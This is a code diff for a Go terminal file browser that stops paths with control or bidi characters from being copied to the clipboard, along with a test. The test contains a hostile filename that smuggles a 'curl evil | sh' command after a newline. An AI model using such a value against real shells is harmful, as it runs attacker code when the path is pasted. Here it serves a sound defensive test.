diff --git a/internal/tui/keys.go b/internal/tui/keys.go index 25e9f31..8e8012e 100644 --- a/internal/tui/keys.go +++ b/internal/tui/keys.go @@ -109,7 +109,7 @@ func (m *Model) handleKey(msg tea.KeyPressMsg) tea.Cmd { case "D": return m.startDuplicates() case "c": - return m.copyPath() + return m.copySelected() case "o": return m.reveal() case "d", "delete": @@ -200,11 +200,21 @@ func (m *Model) selectedPath() (string, bool) { return m.tree.Path(id), true } -func (m *Model) copyPath() tea.Cmd { +func (m *Model) copySelected() tea.Cmd { p, ok := m.selectedPath() if !ok { return nil } + return m.copyPath(p) +} + +// copyPath puts p on the clipboard (OSC 52). Paths that would not survive +// display unchanged are refused: a newline in a hostile filename runs +// commands when pasted into a shell, and bidi controls disguise them. +func (m *Model) copyPath(p string) tea.Cmd { + if textutil.Sanitize(p) != p { + return m.warn("Not copied: path contains control or bidi characters") + } return tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard (OSC 52)")) } diff --git a/internal/tui/modals.go b/internal/tui/modals.go index eab89b7..e2f5ed4 100644 --- a/internal/tui/modals.go +++ b/internal/tui/modals.go @@ -165,8 +165,7 @@ func fmtTime(ns int64) string { return time.Unix(0, ns).Format("2006-01-02 15:04 func (md *infoModal) key(m *Model, k string) (bool, tea.Cmd) { switch k { case "c": - p := m.tree.Path(md.id) - return false, tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard")) + return false, m.copyPath(m.tree.Path(md.id)) case "o": m.sel = int64(md.id) return false, m.reveal() diff --git a/internal/tui/tui_test.go b/internal/tui/tui_test.go index 4eb2ec1..218a8a9 100644 --- a/internal/tui/tui_test.go +++ b/internal/tui/tui_test.go @@ -480,3 +480,20 @@ func TestColourDepthsRenderSameGeometry(t *testing.T) { checkFrame(t, m, 100, 30) } } + +// A filename with a newline would run commands when pasted into a shell. +func TestCopyRefusesControlCharacters(t *testing.T) { + m := newTestModel(t) + m.copyPath("/srv/x\ncurl evil | sh\n") + if !strings.HasPrefix(m.toast, "Not copied") { + t.Fatalf("hostile path copied: %q", m.toast) + } + m.copyPath("/srv/media/" + hostile) + if !strings.HasPrefix(m.toast, "Not copied") { + t.Fatalf("escape sequence copied: %q", m.toast) + } + m.copyPath("/srv/photos 日本語/img001.jpg") + if !strings.HasPrefix(m.toast, "Copied") { + t.Fatalf("plain path refused: %q", m.toast) + } +}